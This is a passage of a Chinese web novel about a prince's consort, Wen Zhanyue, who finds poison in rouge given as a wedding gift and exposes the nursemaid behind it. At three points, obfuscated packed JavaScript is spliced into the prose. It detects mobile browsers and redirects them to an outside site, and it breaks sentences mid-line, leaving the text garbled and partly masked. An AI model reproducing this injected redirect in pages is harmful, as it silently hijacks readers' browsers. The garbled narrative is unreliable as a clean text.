“母亲,你疯了吗?”温如玉瞪大了眼。 “你忘记温斩月当众射伤我的事了吗?我昏迷不醒躺在床上好几天,现在动一动胳膊,肩膀还疼呢。” “我没忘。”温夫人拿起礼盒。 “但她毕竟是夜王妃,面子活总要过去的。” 温落星本来是想要自己亲自去送的,但是一想到母亲误解二姐姐良久,母女生了嫌隙,若是能通过此次送礼缓和母女关系,倒也不错。 “既然母亲想去,那便去吧。”温落星没再阻拦。 “锦绣阁的位置母亲不知道,就让我带母亲过去吧,母亲放心,我知道母亲有话要同二姐姐说,我不进去,就守在门口等着母亲便是。” “走吧。”温夫人摸摸温如玉的脑袋,点点头。 两人出了王府北院,一起朝着锦绣阁的方向而去。 …… 嫁衣已经做好,但明日就要大婚,新娘与新郎不能见面。 容妄只得差人将嫁衣送到锦绣阁。 温斩月试穿了一下,新做的嫁衣十分合身。 之前倒是也穿过红嫁衣,这不过没有这一身看起来隆重。 “让我瞧瞧,这是谁家的新娘子啊,长得这般美貌,连我一个女的看了都十分动心。”梨落抓着温斩月转了一圈。 “上次你出嫁我没赶上,没想到你又嫁了一次。” “这话听着不像是好话。”温斩月将嫁衣脱下来,放在一旁叠好。 “婚礼补办与否我并不在意,只不过夜王府宴请宾客,这是一个可以结交权贵的好机会。”温斩月坐下来,将只看过一眼的宾客名单默写出来。 “京都城人鱼混杂,但未必就是铁板一块,义父要我们安插人手,不如就从这次的名单里下手。” “我真是小看你了。”梨落唏嘘道。 “连自己的婚宴你都要利用,以后容妄要是知道了,肯定会恨你的。” “纯恨也很好。”温斩月将名单递给梨落,“只要他留在我的身边,无所谓他爱我,还是恨我。” 梨落张了张口,还想说点什么,被快步走进来的春夜打断。 “王妃,您母亲来了。” “她不是。”温斩月头也没抬。 梨落收好名单,冲着春夜道:“去把温夫人请进来吧。” “是。”春夜点头。 梨落拍拍温斩月的肩膀,“该来的总会来的,你不如亲自看看,温夫人到底要作什么妖。” “我知道了。”温斩月应下。 很快春夜便将温夫人带进了锦绣阁。 温斩月坐在书桌前,看到人来,脸上几乎没有什么情绪。 温夫**概是想笑笑,缓解一下气氛,奈何她真的笑不出来,最后停留在脸上的表情瞧着比哭还要难看。 “月儿。”温夫人脸上赔着笑。 “你明日就要出嫁了,母亲今日来看看你,以后嫁做人妇,一切都要以夫家为准。” “明日大婚过后,我们就要回温州城了,你在京都要照顾好自己。” “这份礼物是我们精心挑选的,算是一个心意,也留给你一点念想,以后要是想家了,可以打开看看。” 温夫人跟背书似的说了一长串。 这话听得温斩月心里忍不住发笑。 当真是嫁出去的女儿泼出去的水,说出来的话,生分得让人作呕。 不过这样也好,总比装温情要来得好一些。 “温州城距离京都也没那么远,以后若是真的想家了,随时可以回去,再说了,王爷现在这么疼爱我,说不定还会请你们来王府坐上一坐呢。” “你这孩子,说什么傻话呢。”温夫人脸色青红不接。 “哪有嫁了人的姑娘成天往娘家跑的,在王府这几天,我们都看得出来,王爷对你不错,你就好好安心的做你的夜王妃,别的,都不用考虑。” “说完了吗?”温斩月抬眸。 “要是没有别的事,你可以走了。” “说完了。”温夫人放下礼盒,走了两步,又回过头来,“我知道你心里怨恨我,但我亦是如此,这辈子没什么母女缘分,下辈子也别再遇见了。” “也就这句是真心的。”温斩月冷笑。 “温夫人放心好了,我母亲早就**,我不会死不要脸地去做温夫人的女儿,今日温夫人走出这扇门,就永远别再相见了。” “那你说到做到。”温夫人转身,决绝离开。 人刚走出锦绣阁,梨落就进来了。 “怎么样,聊得如何?” “跟她有什么好聊的。”温斩月垂眸。 梨落走过来,拿起礼盒正准备打开,被温斩月阻拦。 “我来吧。”温斩月冷声,“黄鼠狼给鸡拜年,没安好心,万一这礼盒里有什么机关,你的小身板怎么挡得住。” “不至于吧。”梨落不信,“她能这么蠢吗?” “说不好。”温斩月打开礼盒,里面放着一整套胭脂水粉。 梨落接过来,仔细地瞧了瞧。 “这不像是她能选出来的礼物,我感觉是在借花献佛。” “是温落星。”温斩月拿起其中一盒,刚一打开,就有种很奇特的味道散发出来。 她急忙盖上,将盒子放到礼盒装好。 “怎么了?”梨落不解道。 温斩月神情肃杀,“有毒。” “什么?温落星要杀你?” “不是她。”温斩月快速的分析道:“也不是温夫人,她是做了别人手里的刀。” “是展嬷嬷。”梨落很快就反应过来。 “这个老不死的,果然没安好心。”梨落抓起礼盒,“我这就把它扔出去。” “别。”温斩月阻止道。 “想要她死很简单,但她毕竟是容妄身边最亲近的人,不如我们将计就计。” “温斩月!”梨落生气道“你之前才答应过我什么,你现在又要以身犯险,你是不是从来都只把我的话当做耳旁风啊!” “我没有。”温斩月心虚道。 她刚才的确是这么想的,想要骗过容妄,就要真的**。 但看梨落这么大反应,她只得作罢。 “演戏而已,我装得像一点就是了。” “最好是。”梨落将盒子扔下,“以后你要是再不把自己的命当回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801023|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就再也不理你了,反正你心里除了容妄,也没有别人。” 温斩月闭嘴了。 梨落突然觉得自己这样好没劲。 她沉下心来,长出一口气,“阿月,你我相识这么多年,虽然一开始我的确看不惯你,但后来也是真的把你放在心里,我知道你只是习惯了我在你身边,而不是真的对我有感情,但我还是希望,你多多少少能为我考量一些。” “我没有不在意你。”温斩月蹙起眉头。 “你和义父都是我心中最最亲近之人。” “那便好。” 梨落心头苦涩,这句话不管眼前人说得再怎么悦耳动听,她都知道,这是一句谎话。 是她错了,不该对一个角色生出感情。 但…… 手臂上传来钻心的疼痛,梨落垂眸,找了个借口,快速地离开锦绣阁。 梨落一走,温斩月便叹了口气。 她的确很难对别人产生情感羁绊,唯独容妄除外。 她自己也不确定为什么容妄是个例外,但她也知道。 她打心底里,是在意着梨落的。 长夜漫漫,锦绣阁内灯火通明。 跳跃摇曳的蜡烛燃烧了一夜,而温斩月也在窗前站了一夜。 直到天微微亮,春夜推门进来时,她才回过神来。 “王妃这是一夜未睡?”春夜推开门,招呼着几个手脚麻利的丫鬟进来。 温斩月点点头,没说话。 “新婚的确会让人睡不着觉,但王妃不用太担心,一回生二回熟,王妃您都有经验了,还怕啥。” 春夜招呼丫鬟们给温斩月梳妆穿衣。 新来的喜婆很快也到了,跟唐僧一样在温斩月的耳边碎碎念,说着成亲的流程,和需要注意的事项。 明明已经结过两次婚,但这次与之前,却完全不同。 “王妃切记,一定要跨火盆,这样来年才会说顺遂。” “还有,成亲流程繁琐,不可中断,王妃待会吃点点心垫垫肚子,不然一天下来肯定会饿的。” “对了,还有这个喜果。”喜婆往温斩月的手中塞了一颗红彤彤的大苹果,“喜果可不能吃,您要一直捧着,等到流程结束,把它放到枕头底下,枕着它睡一夜,等到第二日起来,和王爷一起吃了它。” “这样来年,王爷和王妃就都能平平安安,顺顺利利的。” 这些成亲的礼仪又繁琐又没意思,温斩月忽然觉得之前悄摸摸的把她直接抬到锦绣阁的想法挺好的。 捧着手里的喜果,温斩月闭目养神,等着喜婆指挥。 梨落昨晚也是一夜没睡。 今早眼睛都是红红的,但她没忘了温斩月交代她的事情,一大早,便在王府门口等着。 夜王要娶王妃,这是京都城的大事。 但凡有点地位的人全部都来了。 好在梨落的记忆力不差,借着记礼,挨个把上门的人都记了一遍。 为了防止自己忘记,还特意在记礼簿做了只有她和温斩月能看懂的标记。 “定国公到,一对绿如意,一对龙凤呈祥,一幅观音送子,四喜珠宝,黄金百两。”一旁的管家吆喝道。 梨落抬头,看了一眼跟在定国公身后的秦落雪,不情不愿地记下来。 在秦落雪要进门时,她突然拦住去路。 “抱歉,有句话要跟秦二小姐说,国公先进去吧。” 定国公看了一眼,没有多说什么,率先走进了王府。 “别怪我没警告秦二小姐,今日是阿月的大婚,我不希望有任何的差错,秦二小姐若是不守本分,那就别怪我不客气。”梨落提醒道。 秦落雪没有说话,淡淡的笑了下,便迈入了王府。 今日来的除了京都城里的权贵富商,还有一部分军营里跟着容妄征战天下的将士,这些人虽然是个粗人,但各个都是上过战场杀敌的好手。 所以在准备请柬时,容妄也并没落下。 梨落是看过名单的,在准备席面时,便多备了一些。 但文武毕竟有区别,非要往一块凑也不好看,所以梨落便把将士们的席面安排了到了北院和东院。 但谁能想到,即便如此,还是出了岔子。 第27章 不能死在你的算计里 “不好了,不好了!林家小姐落水啦!” “一个个都愣着干什么!快救人啊!” “怎么救?男女有别,谁不知道这林家小姐相貌丑陋,若是我救了她,她反过来赖上我怎么办?” 林清霜是礼部尚书林素的女儿,从生下来时,就长得十分难看。 如今已经二十有余,始终都没有人上门提亲。 这个院子里做的都是达官权贵,文人清流,谁都不愿意见林清霜被淹死,但也都无一人出手相救。 呼救声传到了隔壁院子里,一群大男人急忙涌了进来。 一看到水里有人,哪里还顾得上旁的,最先为首的骠骑将军风展直接跳入水中,不费吹灰之力地将人从水里打捞上来。 “姑娘,你没事吧?”风展脱下身上的衣服,披在林清霜的身上。 林清霜死死地抓住风展,眼里没有半点劫后余生的喜悦,只有偏执的恨意。 “我被你看光了,你必须娶我。” “姑娘,你讲点道理。”风展无语,“事态紧急,我只是为了救你,并没有轻薄你的意思,还请姑娘不要闹了。” “我不管,你若是不娶我,我现在就死给你看!”说着,林清霜便要跳水。 风展急忙拦下来。 “你疯了吗?生命如此可贵,你……” “我知道你嫌我丑,但我就算丑,也不能不要名声。”林清霜猩红着眼。 风展愣住了。 他好像在面前人的眼里看到了一些别的东西。 院里的人也没想到,今日能看到如今精彩的一出戏,刚才那些阴阳怪气的文臣此时更是得意起来。 平日里,他们可没少被这些粗鄙的武将欺负。 “依我看,风将军就娶了林小姐吧,反正天一黑,蜡烛一吹也没什么区别。” “就是,虽然林小姐长得丑,可是她有个礼部尚书的爹啊,怎么看,风将军也不亏的。” “没错没错,说不定风将军就吃这一款呢。” “说的也是,他们这些武夫,哪里懂得什么柔情蜜意,有个娘子在家解解闷,就挺好的了。” 这些话听得人窝火,跟着风展的武将一个个都捏紧了拳头。 今日来吃酒时,将军就千叮咛万嘱咐不能起冲突,毕竟是王爷大婚,他们都是来送喜的,但谁也没想到会有这么一出。 尤其是这些人阴阳怪气的话,更是让他们心中愤愤不平。 “风将军,你救人救到底,送佛送到西。不过就是个女子,娶回家放着又能怎么样呢?”相府三公子慕容离嘲讽道。 其实自小他就与林清霜有娃娃亲,但林清霜长得实在太丑了,因此,他没少被人议论。 后来他终于受不了,强行悔婚。 如今看到林清霜赖上风展,他的确有几分幸灾乐祸。 “慕容公子,你说得这般轻巧,不如你娶了林小姐,为难我们将军做什么!” “就是,我们将军一表人才,英勇神武,配得上天下最好的女子!” “林姑娘,我们将军刚刚救了你,你就算不知道报恩,也不该恩将仇报吧,我们将军战功赫赫,别说是你区区一个礼部尚书的千金,就是公主,我家将军也娶得。” 满院子的将士纷纷替风展鸣不平。 梨落匆匆赶来时,便看到这样衣服剑拔**张的难堪场面,她脑子转得极快,让人拿来衣裳给林清霜穿上。 “林姑娘,先移步偏厅整理一下吧,今日之事,一定会给你一个说法。” “我不。”林清霜拒绝,她抓着风展不松手。 “我要他娶我。” “不可能。”风展直接否决。 “我绝不会娶一个自己不爱的女子,与其日后相看两厌,不如从一开始就不要开始。” “那我就**!”林清霜说完,又要寻死。 眼看着事情越闹越大,梨落心中烦躁,看向林清霜的眼神里也多了一些不耐烦。 为了男人,为了婚姻,要死要活,是她最最瞧不上的人。 “行了!”梨落怒喝一声。 “今日是王爷和王妃大婚,要闹出去闹,你们两个要是听我的,就等到宴席结束,王妃和王妃自会决断你二人的事情。” “但若是不肯,那王府也不留**之人,我现在就将你们赶出去。” “林姑娘若是还想要寻死,那就死外面,别脏了王府的地,也别让王妃沾染了晦气。” 梨落凶起来是很可怕的,这点连温斩月都要避之锋芒。 看热闹的人也大多都是好奇,不会真的在王府找事,毕竟,他们在场的所有人都得罪不起夜王殿下。 人群散开,林清霜被带到偏厅,武将们也回到了自己的院子里。 到了吉时,容妄将温斩月从锦绣阁里接出来,在文武百官的面前,完成了拜堂礼。 全程温斩月的手里都捧着一颗喜果。 答谢宾客是容妄的事,温斩月被梨落扶着回到锦绣阁,人刚坐下,便掀了头上的盖头,将手中的喜果放到一旁。 “人都认得怎么样了?”温斩月看向梨落。 梨落点点头,“都认完了,我自己做了一个标记,就在王府的记礼簿上,等明日我拿给你,对了,还有件事。” 梨落把林清霜和风展的事情简单地概述了一遍。 温斩月听后,冷不丁的笑了一下。 “怎么了,这事有什么不对吗?”梨落询问。 温斩月眸色下沉,“去查查,林清霜背后必定有人指使,说不准会是义父派来的人。” “父亲?”梨落疑惑。 但她很快就明白过来了。 的确,今日这事是个难题,但最后为难的都是容妄。 若是容妄逼迫风展娶了林清霜,那就是在风展的心中埋下一根刺,两人虽不至于离心,但也不会像之前一样,铁板一块。 但若是容妄没有逼迫风展,那就是得罪了礼部尚书林素。 文官事多,再加上容妄身上的特权本就让这些文官心中不平衡,林清霜的事情顶多就是催化剂,能让容妄在朝中树敌。 “父亲也真是的,怎么连你的婚事都利用。”梨落嘟囔了一句,但随后发现,温斩月自己都是如此。 “你不愧是父亲一手教出来的,有的时候,我都觉得你俩才是真正的父女,我只是个局外人。” “当初要不是义父,我早**。”温斩月起身来到梨落跟前,“去,把这位林姑娘叫来,我倒要看看她的能耐。” 梨落没再说什么,避开众人,从偏厅把人带到了锦绣阁。 林清霜这会儿情绪已经稳定下来了,到了锦绣阁,便站在一旁,一句话也不肯说。 温斩月绕着林清霜转了个圈,最后将目光落在林清霜的脸上。 丑,的确丑。 温斩月敢说,她从有记忆起,就没有见过这么丑的人。 “说吧。”温斩月端着一杯茶,坐到榻上。 “谁指使你这么做的?” “王妃说什么我听不懂。”林清霜偏过头,“如果王妃是想要偏袒风将军,那我就撞死在这里,反正没了清白,我活着也没什么意思。” “在本宫面前装下去就没意思了。”温斩月放下茶杯。 “本宫只给你一次机会,如果你不珍惜,不用你寻死,本宫亲自送你去见阎王。” 林清霜并不知道温斩月的为人,但莫名觉得,眼前人一定能说到做到。 “其实你不说,本宫也能查得出来。”温斩月敛去情绪。 “只不过是要费些时间罢了。” 林清霜抿着嘴,不肯开口。 温斩月失了耐性,朝着一旁的春夜招手,“拖下去活埋了吧,处理得干净点,回头找个人扮成她的样子离开王府,这样林府要是追究起来,本宫也好有个说辞。” “是,王妃。”春夜点头领命。 林清霜哪里想到眼前的人居然能这么狂妄,天子脚下,就敢活埋她堂堂二品官员的千金。 “不行,你不能这么做!”林清霜挣扎开来。 “你不能这么草菅人命!” “本宫为何不能?”温斩月笑得明艳,“只要做得干净点,不被人发现不就好了,难道没有证据,令尊还能质疑我堂堂夜王妃?” 温斩月看向春夜,“拖走,别污了本宫的喜宴。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801024|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“是,奴婢这就动手。”春夜再度向前。 林清霜也没想到眼前人竟是真的要杀她,虽然她嘴上嚷嚷着要寻死,可若是她真的**,母亲怎么办? 以后母亲要怎么活? “我说,我都说。”林清霜眼里含着泪。 温斩月抬手,春夜退到一旁。 “早听话一点,不就好了。”温斩月重新端起茶杯,“给林小姐赐座。” 春夜搬来椅子,林清霜坐下,眼泪吧嗒吧嗒地掉着。 “王妃生的这样貌美,肯定不知道长成我这样,会遭遇什么。”林清霜摸着自己的脸。 “因为我的出生,父亲厌恶母亲,他与母亲生得都不错,不明白为何我长得这般丑陋,他怀疑是母亲与人偷情,但一直都没有证据。” “后来,他有好几次都要掐死我,是母亲拦住他,求他留我一条性命。” “但也因此,母亲就被父亲厌弃,他娶了一房又一房的妾室,虽然念及情分,没有废去我母亲正妻的名头,可在府里,我母亲还不如一个卑贱的奴婢。” 说到这里,林清霜哽咽得不像话。 梨落听到这里,不知想起了什么,有些动容。 她从怀里掏出帕子,递过去。 “多谢。”林清霜接过帕子,平复情绪。 “今日这出的确是我算计风将军,是有人告诉我,风将军古道热肠,是个良配,若我以死相逼,他定会娶我。” “我不图他爱我,我只想为我和母亲找个依靠。” “那是谁告诉你的?”梨落凑近道,“这人与你是旧相识?” “不是。”林清霜摇头,“我因相貌丑陋,京都女眷都不愿意与我待在一处,自然也就没有什么旧相识。” “这个人是谁?”温斩月看向林清霜。 “你若实话实说,往后就算没有风展这桩婚事,本宫也能护佑你与你母亲。” “当真?”林清霜眼中燃起希冀。 梨落拍拍她的肩膀,“当然了,王妃说话从来都算数。若你表现好,她还能让你变得漂亮呢。” “变得漂亮……”林清霜喃喃道。 这可是她二十年来都不敢想的事情。 温斩月眉头微蹙,疑惑不解地看向梨落。 她什么时候有这样的本事了? 梨落却避开她的目光,只是看着林清霜。 “你信我,王妃说了帮你,就一定会帮你。” “好,那我信。”变美和护佑的诱惑实在是太大了,林清霜只是稍微迟疑后,便将那人的名字说了出来。 “告诉我这一切的,是定国公府的秦二小姐。” “秦落雪。”梨落看向温斩月,“你是不是猜错了?秦落雪绝对不会是……” 温斩月看了一眼梨落,梨落即刻闭嘴。 这件事情绝非表面上那般简单。 “你先下去吧,等王爷酬谢完宾客,本宫会让风将军一起,将今日之事处理妥当。”顿了顿,温斩月又补了一句,“风将军征战沙场,为国为民,不该死在你的这点算计里,他若不愿娶你,本宫也希望你别逼他。” “我知道了。”林清霜何尝不知道自己此番作为实属小人。 可要是真有的选,她何至于此? 林清霜离开后,温斩月屏退左右,只留下梨落一人。 “阿月,会不会就是我们想多了?”梨落分析道:“估计就是秦落雪不想让你好过,故意整了这么一出来恶心你,目的就是为了搅黄你的婚事。” “我不了解秦落雪,但我知晓义父。” 温斩月长出一口气,“他想谋事,就不会只在京都放我们两个,肯定还有其他钉子是我们不知道的,秦落雪的确不是义父的人,她只是一枚棋子。” “父亲远在定州,真能将京都城摸个清楚?” “义父向来算无遗策,人不在,但执棋之术,你和我还差得远。”温斩月摇摇头,“对了,你刚才为何替我答应林清霜,她的容貌是天生的,我如何让她变美?” “她的脸是娘胎里带的毒,能治好,只要解了毒就行。”梨落一时嘴快,说完才发现自己这话没过脑子。 第28章 给我好不好 这样未卜先知的事情不是一次两次了。 一开始的时候,温斩月只是觉得碰巧,后来她又觉得梨落是真的开了天眼,也曾经步步紧逼地追问过,但每次梨落都会打着哈哈遮掩过去。 这次,温斩月表情平静,没有追问。 反正,她的梨落不会害她,这就够了。 人生在世,谁还没有点秘密呢。 梨落脑子飞速运转想要找个理由搪塞,但见眼前人没有追问,她松了一口气的同时,又觉得有些失落。 “阿月,我……” “没事,你不说,我不问。”温斩月垂下眼眸,“你对此事了解透彻,不如去查查,她身上的毒到底是什么,这样我也好对症下药。” “好。”梨落朝着温斩月凑近。 “阿月,我的确有事瞒你,但我不能说,不过我可以跟你保证,有朝一日,你会知道这一切的。” “好,我等你跟我坦白。” 这个时候的温斩月并不知道,她一直等着的坦白,是要付出极其惨痛的代价。 答谢完宾客,吩咐管家将人一一送出门,容妄才得知今日发生的事。 命令其他将士先回去,容妄唯独留下了风展,将人带去偏厅。 “王爷,今日之事纯属无妄之灾。”风展一脸悲催,“末将的为人您是知道的,只是不想见死不救,对林姑娘,末将真没有歹心。” “本王知晓。”容妄摩挲着扳指。 “但今日的确需要有个交代。” “那也不能牺牲末将的终生吧。”风展委屈巴巴道。 容妄沉思片刻,“这林小姐的确是长的……” “王爷此言差矣。”风展打断,“末将并不是因为林姑娘的长相,她是否貌美末将并不看重,只是成亲需得你情我愿,她不是末将喜欢的人,就算强行将她娶回去,将来也不会幸福的,更何况……” 风展垂下眼眸,“末将生平夙愿便是保家卫国,迟早有天,末将会战死沙场,埋骨他乡,若真有这么一日,林姑娘当如何?” 这个问题容妄自己也答不上来。 若没有温斩月,他这一生也是交代在战场上的。 守在门外的林清霜将偏厅里的话听了个一清二楚,这是她这么多年以来,第一次有人站在她的角度上,为她考量。 “王妃说的是,我不该欺负他的。”林清霜微微俯身,算是行礼,随后便走进了偏厅。 温斩月和梨落紧随其后。 “你怎么来了?”容妄起身,目光不满。 “本王还没掀盖头,你怎么就……” “上次已经掀过了。”温斩月挽上容妄的手,“王爷与我差的只是一个婚礼,如今婚礼完成,一切圆满。” “还有洞房花烛夜。” “晚上补。”温斩月拉着容妄坐下,示意他看戏。 风展见到林清霜多少有点不自在,他偏过头,看向旁边。 倒是林清霜,心中对风展越发敬佩。 “今日之事抱歉,是清霜不懂事,还请风将军不要同清霜一般计较。”林清霜赔礼道歉。 “王妃已经吩咐下去,要将这件事压下,除了我们,不会有人知道的,风将军能不能大人不记小人过,就当这事从未发生过。” 林清霜的态度和之前截然不同,风展有些愣神,片刻点点头。 “林姑娘讲道理的时候很可爱,日后不要在拿自己的清白做赌注了,人生在世,就该好好活着。” “受教了。”林清霜低下头去,眼里有些羞怯。 这还是第一次有人夸她。 一出闹剧就这么被圆满解决,温斩月吩咐梨落送林清霜回府,顺便查查林清霜**之事。 风展也没在府中多待,临走之时,给容妄一个打趣的眼神。 “王爷,春宵一刻值千金,末将就不打搅王爷了。”说完,风展也离开。 一屋子人散去,容妄直接抱起温斩月。 “干嘛?”温斩月疑惑,“我没受伤,也没残疾。” “本王知道。”容妄唇角带着笑,“本王就想抱。” 偏厅距离锦绣阁的位置并不远,一路上,容妄丝毫不顾及旁人的眼神,就这么堂而皇之的抱着温斩月。 温斩月也乐的自在,只是觉得这画面似曾相识。 “王爷真的好爱王妃啊,这么点路都要抱着。” “谁说不是呢,我还记得当初王爷恨不得杀了王妃,这才短短多少时日,王爷就这么疼爱王妃了。” “还得是王妃有手段,要是换做旁人,早就被王爷吓破胆了。” “说的是呢。” 下人们的议论钻进温斩月的耳朵里,她靠着容妄,也不知怎么想的,往前一凑,便吻上了容妄的喉结。 容妄脚步一顿,浑身像是过了一遍电流。 “别闹。”容妄语调喑哑。 “马上就到锦绣阁了。” 可温斩月却不听,顺着喉结一路亲到了下巴。 容妄禁欲那么久,根本禁不住这样撩拨,快步走进锦绣阁,刚一进殿,便挥手让众人退出去。 两人甚至都来不及到床边,便已经心中火热,渴求更多。 “阿妄。”温斩月翻身,坐到容妄身上。 “给我好不好?” “好,满足你。”容妄满眼爱欲。 他还没来得及有所动作,面前的温斩月忽然小腹坠痛,一口血喷涌而出。 鲜血点点,喷洒进容妄的眼里。 “阿月!”容妄抱着怀里昏迷不醒的人,失了神志。 “来人!快来人!” …… 卢太医已经数不清这是他第几次被强行召回夜王府了。 三日欢的解药没有研究明白,他心中自觉有愧,自然不敢推辞什么,穿好衣服跟着青澜来到锦绣阁。 刚一进门就被浑身是血的容妄吓了一跳。 “王爷您受伤了?”卢太医快步走过去。 容妄摇头,“不是本王,是王妃。” “王妃怎么总是受伤?”卢太医悄咪咪地吐槽了一句,便朝着床边而去。 他诊断片刻,得出了结论。 “这是**的症状。”卢太医收手,“王爷不必担心,这毒不难解,臣开几服药,王妃服下就没事了。” 容妄双眸在听到**时,已经是充满杀气。 他命青澜将春夜唤来。 春夜扑通一声跪下,“王爷饶命,奴婢该死,但奴婢绝不可能会给王妃下毒。” “没说是你,你慌什么。”青澜抱着剑,“我问你,王妃今日可有吃了什么,或者用了什么?你细细说来,不得有半点隐瞒。” “今日要成婚,按照规矩什么都不能吃,王妃连水都没顾上喝一口。”春夜回忆道:“对了,王妃今日梳妆,用的是温夫人送来的胭脂。” 春夜起身,走到梳妆台前,拿起胭脂。 “就是这个。” “给我瞧瞧。”卢太医走过来,打开闻了闻。 “没错,毒是从这里面来的。” 容妄扫了一眼春夜,没说话。 青澜询问道:“王爷,是否叫温夫人过来问话?” “连展嬷嬷一起叫来吧。”容妄负手而立,吩咐道。 青澜虽不解这事和展嬷嬷有什么关系,但还是听从吩咐,把温家人和展嬷嬷一起带来了。 温如玉本来都已经收拾好包袱,打算今晚一过,便回温州。 来到锦绣阁,一看到容妄便自觉的双腿一软跪下了。 展嬷嬷身上的伤还没好,是被人抬到锦绣阁的,看到床上躺着的温斩月,她心知自己的计划成功了,不自觉地露出笑意。 而温夫人,面无表情,像是这些事与她都没有干系。 只有温落星和温城主,两人看到温斩月躺在床上,脸上的焦急不似作假,尤其是温落星,什么规矩都顾不上,直接冲到床边半跪着。 “我二姐姐这是怎么了?”温落星抓着温斩月的手,“白日里成亲时,都还好好的,怎么突然就这样了?” 青澜没好气的将胭脂扔在温落星的面前。 “王妃**了,毒就是从这胭脂里来的。” “怎么会?”温落星眼底不可置信,“这款胭脂是我亲自去挑的,我想着二姐姐新婚后,我们就要离开王府了,所以才想送她一份礼物,我可以发誓的,我绝对没有在胭脂里下毒! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容妄没说话,只是将目光看向展嬷嬷。 展嬷嬷癫狂一笑,“没错,的确是我。” “原来是你要害我们!”温如玉恨恨地看向展嬷嬷。 “你这个恶毒的女人,仗着自己是王爷的奶娘,便为所欲为吗?” “够了。”容妄冷声出口。 他冰冷的目光里夹杂着一丝伤心。 展嬷嬷是他的奶娘,这么多年,展嬷嬷的所作所为他不是不知道,只是睁一只眼闭一只眼,权当是报答了当年的恩情。 但他没想到,展嬷嬷会生出害人的心思。 “你为什么要这么做?”容妄眼神痛惜。 展嬷嬷冷笑一声,“为什么?哼,如果不是她,我怎会到今天这番地步?王爷是我一手养大,我才是王爷身边最亲近的人,她温斩月算个什么东西,一个替嫁的玩意儿就想爬到我的头上来,我决不允许!” “我看你真是疯了!”温如玉怒道。 “区区一个刁奴竟还想做王爷的主,真是将你千刀万剐都不为过!” “王爷。”温落星求情道:“母亲犯了大错,但主谋是展嬷嬷,还请王爷放过母亲,如果非要严惩,就请罚我吧。” “一人做事一人当,不就是这条命吗?我赔给她就是。”温夫人拿出一把**。 “母亲!”温落星扑上去拦住。 “你别再胡闹了!” “星儿说的是。”许久不说话的温城主终于开口了。 “整件事情非要说错,那也是我的问题,一切的源头都是我,要是当初没有婚约一事,今日这一切也都不会发生。” “王爷要是非要杀个人解气,就杀了我吧,我这条命早在五年前,就该**。” 温家人争相认罪,容妄心中冷意更甚。 片刻,他道:“你们是王妃的家人,本王不会要你们的命,但王府不会再留你们,除了温落星之外,其他人不能骑马,不能坐轿,徒步走回温州城吧。” “什么?”温如玉想死的心都有了。 “这么长的路程,走回去我的双腿都要废了,而且,温落星为什么可以有特殊待遇,她也是温家人。” “闭嘴。”青澜实在是听不下去了,踹了一脚。 “再聒噪,就把你拖在马车后面拽回去!” 青澜的威胁还是很有分量的,温如玉立刻闭嘴了,走回去顶多是累一些,但要是被拖回去,他这条小命肯定就没了! 第29章 这男人,气性真大 处理了温家人,就只剩下展嬷嬷了。 容妄的情绪有片刻的复杂。 但最后他也没有对展嬷嬷下死手,而是命人将展嬷嬷送到王府名下的一处宅子里,没有他的吩咐,不得离开半步。 做完这一切,容妄疲惫的揉揉眉心。 他屏退左右,来到床边坐下。 “你还要装多久?” 床上的温斩月缓缓睁开眼,她唇角勾着笑,“被你发现了。” “演技拙劣。”容妄语气蕴含着怒意。 温斩月收起笑容。 “王爷可是在怪臣妾为难展嬷嬷?”垂下眼眸,温斩月声音凉凉道:“她几次三番加害与我,难道我都要装作看不见吗?” “不是这个。”容妄解释道。 “本王气的不是这个。” “那是什么?”温斩月抬起眼皮,问道。 容妄张了张口,看着眼前人无辜的样子,就知道她还是不懂。 若是之前,他肯定站在展嬷嬷这边,因为展嬷嬷是他的奶娘,是他身边最最亲近之人。 可从他决定要和娶温斩月开始,这个最亲近的人就变了。 他气的不是温斩月要他处置展嬷嬷,而是起温斩月不信他,竟然用这样伤害自己的法子。 “看来今夜是洞房不了花烛了。”容妄给温斩月盖好被子。 “你好好休息,本**日再来看你。” 温斩月直觉容妄生气了,她拽住容妄的衣袖,轻轻晃了晃。 “这是做什么?”容妄眉头直跳。 “撒娇。”温斩月生硬道:“我看旁人都是这么跟夫君道歉的。” “乱学什么。”容妄斥责道,但心里的怒气明显少了几分。 “既然要道歉,那你可知错在何处?” “不知道。”温斩月诚实回答。 容妄好不容易消散的怒气重新又聚了回来。 “既然不知道,为何要道歉?” “哄你。” “你还真是……”容妄长呼一口气。 他一直觉得自己就已经够没有心得了,但没想到,他娶回来的小王妃比其他完全是有过之而无不及。 抽回自己的衣袖,容妄连解释都懒得说,直接离开了锦绣阁。 手里空落落的,温斩月眉头紧蹙。 这男人,气性真大。 容妄刚走出锦绣阁,青澜便迎了上来。 “王爷,紫英来了。” …… 夜王府,书房内。 一名紫衣女子手里抱着剑,坐在椅子上假寐。 为了赶路,她连着两天没合眼了。 听到门外的脚步声,她急忙从椅子上起身。 容妄走进书房,看到紫英的样子,点点头,示意紫英先坐下。 